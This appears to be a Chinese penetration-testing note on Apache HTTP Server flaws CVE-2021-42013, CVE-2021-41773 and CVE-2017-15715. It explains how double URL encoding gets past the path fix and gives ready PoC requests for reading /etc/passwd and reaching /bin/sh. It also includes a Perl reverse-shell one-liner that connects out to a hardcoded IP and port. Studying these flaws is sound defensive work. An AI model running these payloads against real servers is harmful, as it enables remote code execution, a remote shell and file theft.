1、CVE-2021-42013(RCE)
介绍:
Apache HTTP Server 是美国阿帕奇(Apache)基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单的 API 进行扩充的特点,发现 Apache HTTPServer 2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则这可能允许远程代码执行。
影响版本:Apache2.4.49 和 Apache 2.4.50,而不影响更早版本。
1.1.poc信息
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
构造这个路径原因如下:
首先看到有".%%32%65"这个字符串,字符串进行url解码一次后得到".%2e",再进行解码一次后得到"..",因此实际路径为"/cgi-bin/../../../../bin/bh",
这里先讲讲CVE-2021-41773原因:
Apache HTTP Server 2.4.49版本使用的
ap_normalize_path
函数在对路径参数进行规范化时会先进行url解码,然后判断是否存在"../"的路径穿越符。但是奇怪就奇怪在"%2e./"能检测出来,但是".%2e/"不行,通过查找资料可知,在进行验证时,开发者只考虑了"."后面有没有"/",并没有考虑" "所以造成了该漏洞。
而CVE-2021-42013是修复了对".%2e/"的检测,但是在处理外部HTTP请求时,会调用
ap_process_request_internal
函数对url路径进行处理,在该函数中,首先会调用ap_normalize_path
函数进行一次url解码,之后会调用ap_unescape_url
函数进行二次解码。因而二次url编码即可绕过检测。
echo;perl -e 'use
Socket;$i="47.94.236.117";$p=5566;socket(S,PF_INET,SOCK_STREAM,ge
tprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/b
in/sh -i");};'
1.2.攻击利用
2、CVE-2021-41773(路径穿越)
介绍:
Apache HTTP Server 2.4.49、2.4.50 版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到 Web 目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。
2.1.poc信息
/icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
2.2.攻击利用
注意:必须在burpsuit进行Get传参,这样就不会被浏览器解析它的url编码更改后面的文件就能造成任意文件读取。
3、CVE-2017-15715(文件解析)
介绍:
Apache HTTPD 是一款 HTTP 服务器。其 2.4.0~2.4.29 版本存在一个解析漏洞,在解
析 PHP 时,1.php\x0A 将被按照 PHP 后缀进行解析,导致绕过一些服务器的安全策
略。